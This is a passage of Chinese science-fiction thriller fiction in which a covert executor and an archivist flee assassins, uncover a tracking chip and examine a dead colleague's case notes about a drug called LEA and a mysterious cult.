直觉告诉我,这种药剂感觉除了无痕谋杀和精神麻醉剂以外,还有别的用法和副作用,要不然这东西怎么会通过走私获取。
简单推理,我也没指望吴潍说清楚所有相关。长长地呼气代替叹气,提起新的话头:“你为什么会走私LEA?”
6. 计划之外的推进
吴潍会修改生命备份时间,我可以理解,不合格的备份数据,会严重影响管理员对其本人潜能发挥程度的鉴定,收入和名声都会大打折扣。
但走私药物?我唯一能想到的原因和用途只有——
沉默了一会,她看了一眼我把怀疑和质疑都摆在明面上的脸,无奈地回答我:“不是你想的那样。”
我轻轻移开目光:“我没有那样想。”
“总有人不愿意加入质疑周围人组织的。”
她看向车窗外的城市建筑,从记忆里拿出一段话,语气像在念一本很沉重的书。
“我下定决心去做,是我听见一位妹妹说:‘他们说我夺舍他们的亲人、爱人、挚友,但我有属于她的感情,记忆,习惯,生活地位,一切的一切。社会总和就是我这个个体。为何质疑我?’”
我沉默着。就是那种说不清道不明的直觉,微妙的认知错位和去而复得的离奇感,会在很多细节上进行不必要的追究。
“心理医生没法治愈他们,他们的环境无法更改。”我听见吴潍说,“LEA是她们唯一的慰藉。”
看见我还是一副意味深长的探究表情,吴潍连忙补全说明:“LEA是合法药剂,而且医疗上有这种用法。我都是直销给心理医生的,公对公,绝不对私。”
那倒也怪不得是销冠。我耸肩:“那心理医生为什么不对公去进货呢?”
“LEA很新,而且被公司垄断了,我算是外包。”吴潍思索着,“城市内造价太昂贵,外面的相对便宜点。”
我忍不住问她:“你不好奇外面造价为什么便宜吗?”
吴潍敲了敲方向盘:“只要药剂有效,没人会在意。”
我有些无力地靠在椅背上:“你也不在意吗?”
她没有立刻回答我的这个问题,没开自动巡航,慢慢地踩着油门,心事重重般的目视前方。踌躇,又或者思考了很久才回答我:“就算是饮鸩止渴,我查不到鸩是否真的存在。”
她还真的去查了?乐观善良到我都快被她攻略了,说她天真且傻,还会走私那么多药剂没有被发现。
车停在吴潍公寓的地下车库,我们之间都没再说一句话。直到我和吴潍走进电梯,她才欲言又止地看着我。
“对不起。”吴潍没头没尾地在寂静中扯出一句道歉,声音低低的,听起来非常不安,“我应该早点看出来你不会是那个组织成员的,不应该拦着你去医院的。如果你不会处理伤口……”
我伸出手,在她的头顶狠狠摸了一把。卷翘蓬松的波浪长发摸起来手感奇佳,我的基因组简直就是完美中的完美。
回到客厅,我第一件事是去重新检查换下来的衣物。我有自信确保自己无人跟踪,吴潍的车后方也没有甩不掉的跟踪者,叶琦能找过来,只能是因为我身上有定位器。
十年过去,上层的科技发展得防不胜防,叶琦向来比我更擅长这些小东西。匕首类和工具我都用得不如她,就因为这个,还调侃过我“不会用刀,子弹打完了你就只能把枪当板砖用”。
那咋了,就说好不好用吧。我从记忆里叶琦的笑脸上找回思绪。手一寸一寸地从衬衫上摸过去,没有奇怪的凸起;更厚一点的裤子,内衣,甚至是袜子,鞋子我全部重新检查一番,没有任何可疑的物品。
吴潍看着我忙前忙后,想说什么,最后只给我倒了一杯温水。
一路上我和她,都默契地没有提起“叶琦为什么会想攻击我”的问题。
我要怎么解释才显得不那么突兀?
宁愿我因为受伤而疏忽这些物品的检查,是该死的组织手眼通天,我也不想怀疑叶琦。
我的心沉了沉。视线投向了袖臂匕首。
不喜欢匕首的人,却在出任务时带着用起来别扭的小匕首,原因能有什么呢?这是叶琦十年前送给我的。
当时我要去跟管理局对峙真相,她拦不住我去,我也严厉拒绝了她作为同行和后勤的选项,最后她只给我不由分说地绑上了这把小匕首。
我找吴潍借了工具,把它连带着绑带部分全部拆掉,终于在把手尾端三分之一处找到了可疑的部件。
熟悉的芯片定位器,并不是用来发射信号,而是记录性开放芯片。只要我在城市,能够被无人机拍到,叶琦就能知道我的定位。
这就可以解释了。叶琦前面对我说的,都未必是对着我,而是对着这把匕首,对着这把匕首之后的“挚友”。
现在的我对她而言,就是个注定湮灭的希望。
那些微妙的急切,微妙的不适,微妙的错位的情绪,都有了解释。她在挣扎,她在确认,她希望我是吴潍,又不是吴潍。
因为我拒绝了回归,断了叶琦最后的念想,所以她最后是想杀了我,杀了我这个夺走她记忆里挚友珍贵之物的凶手。
她本就……知道这一趟有去无回。
“定位芯片?”吴潍一眼就能看出来,“叶琦怎么做到在你匕首里装这个的?”
我放空的脑子瞬间回神,破坏芯片的手停顿了一瞬。在她伸手准备拿起来检查时,把螺丝刀插在芯片上,彻底破坏。
离得够近,她能看出来这是十年前的老款。定位芯片不知道迭代了多少版更好用的,为什么要在十年前就装定位芯片,我更解释不清。
“她送的匕首,但是芯片不是她装的。”我含糊其辞,“也许是我被组织抓过去的时候,他们改装的。”
“那叶琦怎么没跟我提过那么个有旧情的人?”吴潍听到八卦似的靠在桌子边上,放弃再探头研究芯片,“虽然我调职了之后跟她们都疏远了,但也不至于到这种程度吧?”
我哼笑一声:“她也没跟我提过局里的同事呀?”
吴潍探究的目光在我身上停顿几秒,最后长叹了一声:“偶尔能在新闻上见到的人,现在什么地方都见不到了。”
“但现在不是感慨的时候。”我起身,扫视了一下吴潍的诡异着装,“吴潍,你有没有颜色更正常一点的衣服?”
她非常不满我暗地里对她的衣品做出评价。其实我挺喜欢她身上这套的,但这玩意哪里能穿出门。
“有的,但如果你想要管理局那种特制的防护面料,那没有。”吴潍摊手,示意由我选择,“你要去做什么?”
拆散的匕首散落在桌面上,我把它们重新拼装起来,放在一边。我对着吴潍难得一笑:“从现在开始,你可没得选了。”
吴潍眨了眨眼睛,视线从我身上转到桌上的匕首,又转回来和我对视:“那我还能回来吗?”
你捡了个麻烦回来。我在心里对她说。吴潍的公寓位置暴露,不能确定叶琦有没有和组织的共享过信息,保险起见,还是应该转移。
我没有正面回答这个问题,在她没有反对的不为所动里翻起衣柜:“这是你看见这间公寓的最后一眼。”
挑了套次选项的宽松衬衫和有腰带的短裤,我可太知道吴潍会选择哪件出门了。
带着衣服大剌剌地走进浴室,我轻咳一声,尽可能恳切谄媚地对她说话:“就当是员工制服了,吴老板。”
我从来没有讨好上司的机会,很长一段时间里,准确来说,在我的整个职业生涯里,我就是那个上司。
“我没意见。”吴潍挥手,示意我赶紧滚进去换衣服,“你的贴心老板还包了你的衣食住行和医药费,不差你这套衣服。”
其实最大的问题是没有武器。原本我在公寓里留出了专门的武器收藏室,但在吴潍调职后变成了杂物间。
我手头唯一的杀伤性武器就是那把小匕首。
吴潍认不出这把匕首倒也正常。
如果她也有这把匕首,只会留下十年前案件的追查风险。在已结案的重大案件里,有人送了一把有定位器的匕首,却没有在案件里成为突破性的工具,吴潍一定会起疑。
管理局的给吴潍调文职,叶琦的升职,都是为了避免两个人见面。
我的车和行李都在叶琦家里,我还得想好用什么说辞才不会让吴潍起疑。这个伪造的移民身份还不如正儿八经的,叫什么,“战术型外聘顾问”,至少能解释我为什么会有没登记的车和管制武器。
我换好衣服,简单活动了四肢,估算身上伤口的影响。
左肩的伤口在没有麻醉的情况下会限制我的左右视野;握了握拳,小臂范围内活动和正常发力没有问题,战略优先选择贴身格斗,叶琦的小匕首反而合适;中距离要用到肩膀甩动,正面突袭和背面牵制要尽量避免;右手和腿部没有问题,只要不用左侧支撑,基本没有影响。
其他小伤口都无所谓,但如果我再从高处背部着地,就只能住院了。
很好,现在的首要目标是去叶琦家把我的腰包带上。我把小匕首别在右侧腰间,穿起吴潍的那件风衣,我是收拾完了,靠在门板上等她收拾完。
吴潍挎着中等容量的黑色手提包出现。果然是我猜测的紧身弹性上衣和长裤搭配,运动风格的荧光外套可算是换成了低调款。头发盘起,方便运动。
哎,真好看。我不着调地想,我知道自己适合什么风格。门口传来细微的脚步声,我伸手示意吴潍穿完鞋不要动,仔细谛听外面是邻居路过,还是来着不善。
我听见外面又熟悉的“滴”一声,脚步声也消失了。
见状,我不由分说地拉着她就往卧室跑。就在我转进卧室的瞬间,扫到来者绅士地推开门,就好像门上的锁不存在一样。
这种慢条斯理的非人感,是生命维护
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执行官。太好了,我就知道管理层不会放过吴潍和我在天桥温室的“亲密”互动。执行官何必为难执行官,我心里哀嚎一声。我用在叶琦家里的开锁小技巧,它们可比我玩得标准。
“跳!”我可由不得吴潍犹豫着三四米的高度,“看准那块弧顶玻璃的缺口,你要是滑歪了,我可救不了你。”
“但我已经十年没干过这种事情了啊!”吴潍依依不舍地拉着窗框,“一秒,就一秒!”
我没必要再催,看着面无表情的同行从门口跨步而来,手里标准的战术/匕首甩手飞出,直冲我的脑门。我躲不了,吴潍还在身后,迅速掏出右侧小匕首挡下这一击。
战术/匕首被弹飞,我虎口震得发麻。崩开的刀刃碎片划过我的脸颊。顾不得细微的疼痛,我紧跟着忍不住压着嗓子喊的吴潍一同跳下去。
双脚踩实落地的感觉真棒,成功降落在温室地面上,总算是一雪前耻了。叶琦的血迹还在,尸体已经被清理完毕,周围还有全息警戒线,搞得好像管理层重视这个案件到能水落石出一样。
吴潍就没那么清爽了,直到我抬头检查执行官的动向时,才堪堪扶着金属花架站起身。
“哪条路可以去停车场?”
我拉着她,夺下她不知道装着什么但颇有分量的包挂在身上,看着那位生命维护执行官跳出窗。
缺乏十年训练的前城市管理员大喘一口气,后退两步转身,和我并排向尽头的电梯狂奔。执行官比我熟悉城市追杀,不利用交通工具毫无优势。
“那个人是谁?”吴潍面对着楼层按键,摁了好几下地下三层,喘着气问我,“他也是组织的人?中间换人调查和追杀完全不需要时间吗?”
我靠在电梯墙壁上好整以暇地看着她:“并不是。那是管理层的秘密组织。”
“你有赏金吗?”吴潍深呼吸站起身,“告诉我你的人头很贵,我还有被招安的机会。”
我摊手:“他们拿的都是死工资,不要想太多。”
吴潍对这个回答非常不满,电梯门一开就跨步迈了出去。我跟在她身后,行云流水地坐在驾驶位上,把包扔到后排。
“这是我的车!”吴潍坐进副驾驶的时候向我强调,“你别把我的车开废了!档案管理员的报酬很低的!”
我毫不在意地猛踩油门:“哪有老板亲自开车的道理。而且你还有灰产呢。”
久违地摸上爱车方向盘,虽然是我当初的型号升级款,但我依然爱它。熟练地开出地下车库,我看见执行官的脸淹没在后视镜的黑暗中。
“辐射区到底有什么?”剧烈运动后,尚未平息心跳的副驾驶捏着眉心问我,“到底有什么秘密让你这样被追杀?”
纠正,没在追杀我,是在追杀你。我不打算回答这个问题,平静地告诉她:“什么都没有。”
吴潍撇嘴,调整了坐姿,声音瘪瘪地对我说:“我不信。”
我冲她挑眉偏头,露出无辜脸。要不是双手没空,我还得摆出摊手,意表“你觉得呢”。
“所以你到底是做什么的?”她叹息似的问我,“招式像管理局出身,但你那种舍命打法很不符合管理局的理念。”
“怎么看出来的?”我左转方向盘进入通向叶琦家的高速,“快速钳制目标怎么不算一种保全自身?”
“直觉,很难说。”吴潍不上我的当了,撇开话题,“我是把所有秘密都和你透露干净了,你没有向我坦诚任何一件关于你自身的事。”
“对,我确实是前管理员。”我轻笑一声,“我的职业是生命维护执行官,和刚刚追杀我们的那位是同行。”
“啊,秘密组织。”吴潍意味不明地发出语气词,“那到底是做什么的?”
“维护城市秩序。”
“废话。”吴潍叹气,不满意我的回答。
我没急着回答这个问题,看见叶琦家近在咫尺,减慢了车速,停在路边,示意吴潍下车。
没有装备没法瘫痪门锁,我站到窗户门口,摸出缺了口的小匕首破坏玻璃。在吴潍不赞同的眼神中,从空缺中伸手打开机械内锁,轻松翻进叶琦家。
家里的陈设和我离开时相比,没什么变化。
我走两步从里面打开门锁,好让吴潍进门。她的视线落在外侧的玻璃上:“怎么没有警报?”
“说明现在这栋独立别墅属于无人财产。”我回答她。叶琦死了还没五个小时,如此之快的回收速度,只能证明她已经没有财产牵扯的亲属了。
走到客房去拿我的装备,其实我也很想直接开车撞进来。反正管理局不会再追究叶琦的案子。就算我们在里面蹦迪,也只有一条扰民罪。
吴潍欲言又止,看着我在自己的行李上拿出装备挨个配好。
7. 请君入瓮的坐标
装填子弹,检查滑膛,手枪替换小匕首的右侧腰位;战术/匕首转到右后腰处;左侧腰间装满备用弹、消音部件、强光手电和其他零碎的技术工具——通常情况下我就这样出任务了。
至于那些战术防护装备太显眼和臃肿,对大多数任务为潜行暗杀的我来说太累赘,我甚至都没带过来。
看了一眼在旁边忐忑不安的吴潍,我翻了翻从下层带过来的包,递给她耳麦和备用枪。
“总之,不要对着我开枪。”我跟她说,“你现在才跟我是一条绳上的。”
“你的装备为什么会在她这里?”吴潍还是问出这个我想了一路要怎么回答的问题,收好手枪,戴上耳麦,“叶琦比你高许多,骨架也大你一圈,她的腰包码数不适合你。”
“出了点意外。”我收拾好剩余的物品,清理掉我存在过的意外痕迹,“我应该当天结束任务就离开的。”
吴潍的声音从客厅传来,没对我的解释提出质疑:“听起来很不称职啊,执行官。”
啧,怎么说话的。我走出客房,看见她在客厅的装饰柜上看见了叶琦和女儿的合照,端起来看了许久。
我趁机转入书房,忽略在客厅走神思考的吴潍,迅速翻看叶琦追查了十年的人类异常信仰案件。
案件细节依然停在当年的“精神分裂”上,所有问题指向辐射区存在问题。人类异常信仰组织的成立初衷,也就是因为想去探索辐射区。
十年后的卷土重来意味着什么?当时我的队伍里的所有人都知道辐射区极度危险且荒无人烟,后期为什么叶琦加入了这个组织?什么促使她改变了?
“Wined?”
吴潍在客厅喊我,匆匆把叶琦的调查报告整理好,收进我的行李包。虽然她的语气并不急切,但我还是下意识摸上了腰间的枪:“怎么了?”
“叶琦有一个女儿?”吴潍听起来非常诧异,“她的档案没有关联到任何一个孩子。”
我想起叶琦手上的戒指:“她结过婚,不意外吧?”
“你有看过她的卧室吗?”吴潍暂时没有反驳我,转而问我,“她的女儿照片上才两三岁,但是她的客厅所有的尖锐桌角都是裸露的。”
我没法回答,只好先去查看叶琦的卧室。漆黑一片我看不出什么,抬手开灯,才看见整个卧室疏于整理。
被子乱糟糟地团在床中央,枕头歪斜,床边挂着外套和内搭。地板落着些潦草的水痕。床头柜上有一张照片。
上前两步,拾起单独一张的照片查看。
没有折痕,手感是很旧的那种相纸,没有塑封,边缘因为长期查看有些毛躁。背面潦草的字体写着“3822-02-19-03-27-06-余殷”,是叶琦的字迹。我又翻到正面,冷不丁被吓了一跳。
那是一张男人睡在浴缸里的自尽遗照。
照片上的男人我并不认识。他仰着头,赤裸着胸膛,胸口以下,连带着左手都泡进了红色的水里。拍摄角度居高临下,冷色探照灯似的打光氛围,看起来更像是警局记录。
我仔细观察了一番:男人眼下有明显的黑眼圈,整个人憔悴而瘦削。如果我没猜错,这男人应该就是叶琦死去的丈夫。
看起来像情绪困扰而自尽,联系到叶琦对我透露的只言片语,大概也是因为被质疑成“生物复制体”而无法解脱,只能挥刀向自己。
但天天把丈夫尸体照放在眼皮子底下,叶琦的精神状态真的扛得住吗?再仔细观察一番照片,没有更多值得研究的细节,我本想倒扣回床头柜,但最后还是和她的资料放在了一起。
拉开衣柜,没有适合小女孩的衣服,所以叶琦是独居。她的丈夫自尽了,那她女儿去哪了?
没等我想出点可能性,我听见吴潍尖叫一声,然后传来几声沉闷的枪响。我迅速放下包,摸出手枪贴紧卧室门口墙壁,探头去看发生了什么。
吴潍躲在沙发背后,我看见被暂时甩掉的执行官再次追了上来。他的任务目标就是吴潍,视线明显地略过我,更换弹夹,调整持枪角度,向她所在的掩体靠近。
我举枪瞄准他的头部,忽然又有些犹豫。杀了执行官,就等于彻底背叛了生命管理局,再也没有回头路了。
“操。”我暗骂一声,收好手枪,转而摸出匕首,压低身形,摆好架势,直冲对方背对我的脊柱。远距离投掷的力道不足以击碎对方的骨骼,我只能选择近身。
不知道城市执行官的技术如何,但下层的那些个复制体并不咋样。
对方觉察到我的攻击,几乎是立刻迅速转身面对我,曲腿后撤半步,来不及避开我的攻击,退而用手臂抵挡我的攻势。
我的匕首扎穿了他的左小臂,一时半会拔不出来。对方的血液涌出,顺着刀片往下滴落,而他本人就只是轻微皱了眉头。
是疼痛降低型的,得速战速决。干脆直接放弃刀具,我压低身子避开对方试图压制我的手,同时避开来自左侧的持枪近战袭击,起身同时右手顺势蓄力,瞄准对方肋骨下方猛攻一拳。
正常居民挨这一下几乎是瞬间丧失行动能力,但他只是下意识弯了腰。
我不敢贪刀,左手卡住他逆路反攻的持枪右手,瞄准关节,抬起右臂落下肘击,听到骨骼一声错位脆响,顺利卸枪。
他进攻节奏恢复很快,抬起插着匕首的左臂,直冲向我的脖子。迅速下蹲,左手借力拉过他的左手腕,我侧跨一步移动到他身后,顺势将他左手压在他背上,提膝踹向对方的腿弯。
但对方只是晃了一下,没有跪下去。左肩因为用力而有些颤抖,我不敢拖延,右手迅速掏出手枪估算对方脊柱位置,避开直接致命的要害,在他的下半段脊椎上开枪。
一声枪响,周围重归寂静。
他整个人往前扑在茶几上,玻璃渣子飞了一地。他的下半身已经瘫痪,但还没有死,左手摸索着还在去找枪。我干脆踩住他的左手,把匕首拿回来,顺势甩了甩血。
这执行官并不想取我的命,不然近距离他会选择开枪,而不是直接持枪钝击我。
基于这点,我可算是知道他为什么会来了。
我的通讯手环在逃出信仰组织的时候就碎了。
核心管理层联系不上我,又看见我和吴潍在叶琦尸体面前抱成一团,就算是我被“单方面”抱成一团,他们也认为我的任务“失败”了。
龇牙咧嘴地摸摸也许又渗血的左肩,我看着在沙发背后冒头的吴潍:“你想先查哪条线索?LEA?还是叶琦为什么会加入组织?”
“他死了吗?”吴潍扶着沙发背站起来,不知道是害怕还是担心。
我叹气,蹲下身子抓起对方的头发,让她看见生物复制体还在眨眼:“你看,活着呢。”
我又摇了摇手里的枪,“你有枪,你得记得开。”
吴潍点点头,但没有选择开枪了结。
这下我放心了。
执行官是工具,只要还能带回信息和线索,就不会被认为是任务失败;他一旦被回收,管理层就知道我是出了意外联系不上,而不是因为放弃任务。
况且这城市的医疗技术只要没有当场死亡,基本都能救回来。
真令人安心的技术。我想着,俯身顺手抽了张原本在茶几上的抽纸,擦了擦匕首表面,收好它。
至少在未来两个星期里,管理层不会再派倒霉蛋过来了。说不定过两天会派个“呜哩哇啦”的无人机,喊着“遗失物品请查收”给我送新手环。
但如果再遇到执行官,就会连带着我一起被追杀,无论我要做什么,都要抓紧时间了。
我临出门又看了一眼还在挣扎的倒霉蛋,确实是我做得太过了。那也没办法,要是我身上没伤,也只会让他“断骨增高”,而不是半身不遂。
再加上,城市执行官比我想象中难缠多了,就过的这么几招,力道策略比下层的那些好太多。
血腥小插曲告一段落。
我带着也许有点价值的信息走进叶琦的车库,去开我那辆基本手动挡老古董。吴潍的车太高级且被登记了,去哪都等于直播定位,我说执行官怎么会这么快跟上来。
我拉开副驾驶那边的门,顺手把当时冲动扔了一座位的纸质档案收拾好,才请吴潍入座。她看见我的老古董反而两眼放光了,我还担心她坐不惯这种颠簸的车。
“你说他也是执行官?”吴潍安分坐在副驾上,和我对话,“那和你有什么不一样吗?”
“非要说与众不同的地方,”我手搭在方向盘上,冲她一笑,“没有我保不下来的人,也没有我杀不掉的人。”
“听起来像犯罪分子。”副驾驶靠在座位上,闭目养神。
我看着公路尽头缓慢出现的太阳,想笑又笑不出来。颠簸了一晚上,我是没什么感觉,往日蹲伏任务目标,一连几天不眠不休都是正常的,但她肯定需要好好睡一觉。
设定自动巡航到城市边缘绕圈,打开驾驶位的小灯,我才开始拆出叶琦的文件,看看里面有没有给出什么线索。
当时的人类异常信仰案件记录为已结案,不能公开查看,叶琦的这份也只是复印件。她单开一页列出曾经的“首领嫌疑名单”,在最后一行用箭头指向我的名字,最后在我的名字旁边写上"失踪"两个字。
嗯,思路正确。叶琦当时是卧底,这份名单只给我看过,而后我就被“调职”了。但她送给我的匕首上有定位,所以她知道我离开了城市,确认我是失踪的。
这一页不能给吴潍看。我本想立刻取下,转念一想,叶琦没有标注时间,只需要把这页的顺序调换到后方,就能用组织诱骗解释了。
而后的文件记录上的笔迹有些不一样。我拿近观察一番。似乎是换了新的笔,时间跨度有些长。
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叶琦在名单背面写了一行“第二次人类异常信仰”,在旁边画了个问号,最后箭头又指向嫌疑名单,下面写满了已确认死亡的嫌疑人名字。
我知道她在想什么。在名单上的所有人我都根据生命管理局的要求处理掉了,组织成员会因为缺少引导而解散,很难再成气候。
我没有找到时间,但在后面一页上有一个日期:12.27,旁边写着“任务结束”。
暂时想不到是什么任务,但数字组合却很熟悉,翻出那张疑似叶琦丈夫的尸体照背面,同样有“12-27”,所以背面的那串数字“3822-02-19-12-27-06”应该是时间。
如果是死亡时间,精确到秒会不会太困难了?自杀者本人都不一定会记录这么精确的时间;如果是时间跨度,最后的“06”也没有可以对应的格式。
我摸摸下巴,重新琢磨起来。
如果是某种编号,我印象中的14位编号都不会是纯数字,要么是叶琦当时就没有获取到完整编号,要么就是这份编号是小范围的应用。
叶琦也在这一页写了这一串数字,也经历过我的上述思考,没有文字描述,但我看得出来她在想什么。
她经过各种排列组合推测,最后选择了照片背后的写法。她也不确定如何切分这串数字,在最后的“06”上打了个问号。
和文件里的叶琦一样,暂时放下对时间性质疑问,我接着翻过有数字的这一页。
中间似乎又换了一支笔,叶琦着重标记了“LEA”,旁边用小字写着:复制体必备药剂,还加了一个问号。
联系起照片上男人憔悴的形象,我可以肯定:叶琦加入组织的原因,大概率和她的丈夫有关。
“LEA”这一串下方空白写满了语焉不详的短句,像是某种教义的节选,大多意思都在表达“他们是对的,信仰是对的”。
这页的最后一行留下一句“我已经走投无路了,在那里他们会向我证明,一切有迹可循”。
文件结束了。一份复印件和两页写满了推理的纸,前一页跟名单有关,后一页跟组织的新线索有关。
除了“LEA”和“那里”,对我来说没有得到太多有效信息。
叶琦最后前往的地点,肯定是她思想变化的转折点。
把推理的两页纸调换位置,我把纸张两次对折之后压平,防止书写时的压痕暴露。
完全没有压痕也不可信。叶琦的文件加起来也不算很厚,就算长期压在案件复印件底下,情绪上头划得很深的横线也不会完全压平。
我在空白相对较多的部分仔细用手掌压平,上一页“嫌疑名单”下方横线透下来的痕迹就只是尽量抚平。
我从头翻起文件,确认看不出确凿顺序的压痕消失,确认吴潍看见的顺序是:叶琦为了探查那串意味不明的数字而加入了组织;组织没有让叶琦信服,决定铲除组织;她卧底组织推断出首领嫌疑名单;因为“吴潍失踪”,觉得自己必须站出来,代替吴潍对嫌疑人进行清算。
“吴潍”可是第一次人类信仰案件的队长呢,离真相最近,被黑暗吞噬,最终离开了前线。
至于我为什么要被追杀,只能是叶琦觉得,组织在利用“前任队长”的生物复制体来侮辱她。
这故事编得我都要信了。既符合叶琦打破砂锅问到底的执着,又体现出和黑暗玉石俱焚的性格。
如果我不知道真相,我会相当欣赏她,虽然我本身就很欣赏她。
我会不会太冷血了?整理叶琦文件的时候,我忽然有些良心不安。在下层这种故事编排几乎成为了习惯,编排的故事也仅仅是为了让任务目标心甘情愿,或者心灰意冷地被我处理掉。
很有效率,但不太人性。话又说回来,在下层讲人性,跟即将饿死的人说“你最后一个馒头分给别人吧”没区别。
我看了眼时间,已经自动巡航了半小时,瞥一眼吴潍明显睡过去的模样,不太忍心叫醒她。她真的比我善良太多了。看了会后视镜,我没有发现可疑的车辆和生物跟随。
重新思考起那串照片背后的数字,除了“1227”四个数字在那串数字中有所切实关联,其他都是猜测。
我对她的丈夫知之甚少,叶琦如果因为她的丈夫而崩溃,那如果有他的档案,也许就能得到更多信息,解读这串不明所以的数字。
捏了捏眉心,我还是决定推醒吴潍。她被吓得整个人坐正,手挡在胸口一副戒备模样。
“醒了?”我故意问她,把文件递给她,“这是叶琦家里的文件,你看看能得到什么?”
吴潍接过档案,没好气地顶撞我:“我还以为我又要死了。”
“放心。”我虚心接受老板的批评,观察着后视镜,“除非从我的尸体上踏过去,老板。”
“你最好说到做到。”吴潍懒得信我“忠心耿耿”。
8. 请君入瓮的坐标
这会是上班高峰期,就算是居民区郊区,车流量也开始增加了,我得多加注意。我的老板“哼”了一声,打开文件查看起来。
我扶着方向盘,拿出墨镜挡住阳光,顺便掩盖眉眼:“吴潍,城市里能有为期一年的任务吗?”
“探索辐射区。”吴潍对着各种不认识的名词皱眉,“九个月以上。”
我有些疑惑:“这不是自愿申请的吗?”
“绝大多都是抽签决定,少量自愿申请会通过。”她翻过一页,狐疑地看我一眼,“你到底是从哪条时间线上过来的,这份抽签都稳定运行十年了。”
十年前的那条,管理局还剽窃我的方案。以前还是在生命管理局里自愿申请,这么多年过去了,普通居民都参与进来了。
我暗自腹诽,继续问她:“你见过一份叫‘余殷’的档案吗?”
“哪两个字?”吴潍翻到了最后一页,又倒着往前翻,“你知道生命管理局的档案中重名率高达百分之十吗?”
听起来也没有很多。我很没常识地想着,回答她:“那张照片背面的‘余殷’,我怀疑是叶琦的丈夫。事情的源头都指向他,我们需要他的档案。”
“我知道了。”吴潍扫了一眼照片背面文字,“那你送我去上班吧。”
我刚想说开什么玩笑,又想起来她是档案管理员,要去找档案再方便不过。没有过多思考,我转弯进入通向城市中心的路。
“看出什么了?”我摸了摸车门的储物格,拿出两瓶水分给吴潍一瓶,“跟我说说你的角度。”
她接过水,拧开瓶盖喝了一口,有些感慨似的回答我:“叶琦跟以前没什么差别,冲动莽撞,但方向依然是对的。”
“嗯。”我回应她,“然后呢?”
“没了。”吴潍说。
我重复她的话:“没了?”
“我看出来的你也看出来了,还有必要赘述吗?”她拧紧瓶盖,又准备去睡觉,“第一,是去把那串数字解开;第二,找‘那里’是什么地方;第三,LEA和复制体有什么关系。”
我沉默一会,开了自动巡航,拧开自己的瓶盖喝了一口:“你不问别的吗?”
“那你能说实话吗?”吴潍显然不信任我。兴许是没有睡好的起床气,她语气都没有之前柔软了,这听起来才有几分我以前在管理局的影子。
想反驳,但我从跟她正式接触开始,就没几句正经实话。虽然逻辑自洽,但吴潍听得出来,我不愿意说。
她似乎觉得自己的语气太冲,又叹一口气,睁开眼睛看着我:“唉,我是有很多问题,但那些问题都是我们要去找答案的。你觉得我能问点什么?”
这是在报复我呢。我尽可能诚恳地表忠心:“我真的会认真回答你的下一个问题,我拿我的工资卡发誓!”
吴潍平静的笑意依然挂在嘴角,似乎是无心一说:“你调换文件顺序了吗?”
“为什么这么问?”我撑在车窗框上问她,“我改文件顺序做什么?”
“我也想说。”吴潍皱眉头思考,坐直身体解释起来,“因为压痕有问题,但她写得太密我也不好判断。”
吴潍拿出那两张写满叶琦推理的纸,打开车顶灯,平放视角,示意我照做。我有些紧张,拉下墨镜去看。
“我经手的手写档案不多,也只是怀疑。前一页的笔记压痕会在下一页上展现。”她指着纸下方凸起的痕迹,“因为两页纸都按照横线写满了,所以看着不明显。”
她的手摸到一小段空行,然后拉过我的手指,让我用指腹去摸。我摸了半天也没发现什么,困惑地和她对视。
见我一脸茫然,吴潍有些无语地解释起来:“这里是推理纸张的第一页,但它上面明显有一段属于上一页压过来的横线。”
假装看了半天才看出来一点。我摸上鼻梁,把墨镜推了回去。
“对比一下位置,这条横线和‘首领嫌疑名单’下的横线对应。”她似乎对我的视力恨铁不成钢,“所以,名单应该在数字解谜之前,跟你给我的档案文件是反的。”
我略带无辜地眨眨眼,尽管隐藏在墨镜之后,她也看不见:“但是压痕太短了。叶琦到横线末尾才开始用力,力度也应该是渐变,而不是断开的吧?”
“而且数字地方的空白没有压痕,所以我只是有点怀疑。”吴潍重新把文件按照数字解谜在上的顺序整理好,“你调换文件顺序是为了掩盖什么?我名字旁边的失踪吗?”
“那也只是叶琦的一面之词。”我提出自己的看法,“无论如何,你因故失忆后调职,在她眼里跟失踪差不多了。你也知道她的性子。”
“是啊,嫉恶如仇。”她收好文件,扔到后座,又瞥了我一眼,“那条压痕即是你调换的证据,也是你没有调换的证据。我看不出来更多了,但我想信任你。”
“叶琦文件就是这样的,我没改。”我正面回答她,“我们合作的大前提是都需要保命。”
吴潍转回头,对我们之间的共识不置可否:“还有十分钟路程,我再睡一会。”
我这才缓了一口气,安分当吴老板的白脸低调小司机。
“到了。”我把车停在一个街区之外的无人机死角,拍拍吴潍的肩膀,“再往前就会太靠近生命管理局,得自己走过去。”
吴潍捂住脸,试图清醒一点,深呼吸,准备拉开车门,又转头问我:“我去管理局不会被直接抓走调查吗?”
“不会的。”我说得很肯定,“管理局可不会把这种事情放在台面上。”
吴潍用她那张熟悉的质疑脸看我:“你怎么这么肯定?”
“因为他们没有证据。”我抬起下巴,看着后视镜的路人移动,“执行官是暗杀为主的秘密组织,不会在人多的地方动手。”
我收回视线,整理好自己的衣服:“叶琦都主动和你接触要求违规修改档案时间,就说明这个事件本身就无伤大雅。”
我没有把话说完,吴潍听得出来。
管理局也许知道她走私LEA,但肯定没有获得足够的线索,能够连带着她和她背后的LEA制作商一起端掉。否则,管理局早关了吴潍一切账户和权限,连车都开不了。
所以,目前,吴潍在城市正常生活是绝对安全的。
示意她检查自己的耳麦,开门下车,我带好墨镜,揽好风衣角度遮蔽腰间武器,靠在车门上一副“送人上班”的姿态。
吴潍不知道信我几分,但知道我不会拿她的安全开玩笑。放下盘发,摸一把耳麦,下车离开,看见我冲她装模做样地打招呼,她翻了个不明显的白眼,甩头离去。
看着吴潍离去,我倒是需要找个咖啡厅短暂消磨一下时间。上层的酒真的难喝到了某种令人无语的地步,也许甜品方向还有救。
重新坐回车里,摘掉墨镜,对着镜子拿出化妆品,再次确认眉眼被掩盖好特征。我总不能把墨镜焊死在脸上,这样不符合常理。
在吴潍身上有线索的基础上,我作为执行官,“销毁吴潍”的任务拖延,同样也有了逻辑支撑:我和吴潍的生活信息完全不互通,就算我正常处理了她,也会有暴露“生物复制体会替代人类本体”的风险。
处理好特征,我下车打开后排车门,准备拿上换药的物品。
本想伸手去拿自己的行李包,看见吴潍的黑色挎包放在另一边,犹豫片刻,还是决定拉开看一眼。
医疗用品、小型工具盒、压缩饼干等等,看起来十年前的训练还没有忘光。我又翻了一下,没有武器,没有可疑的追踪器,底下还有本夹着笔的纸质记录本。
手指放在记录本边缘,没有太多犹豫,我干脆拿出来翻看一番,上面没什么我需要了解的新东西。
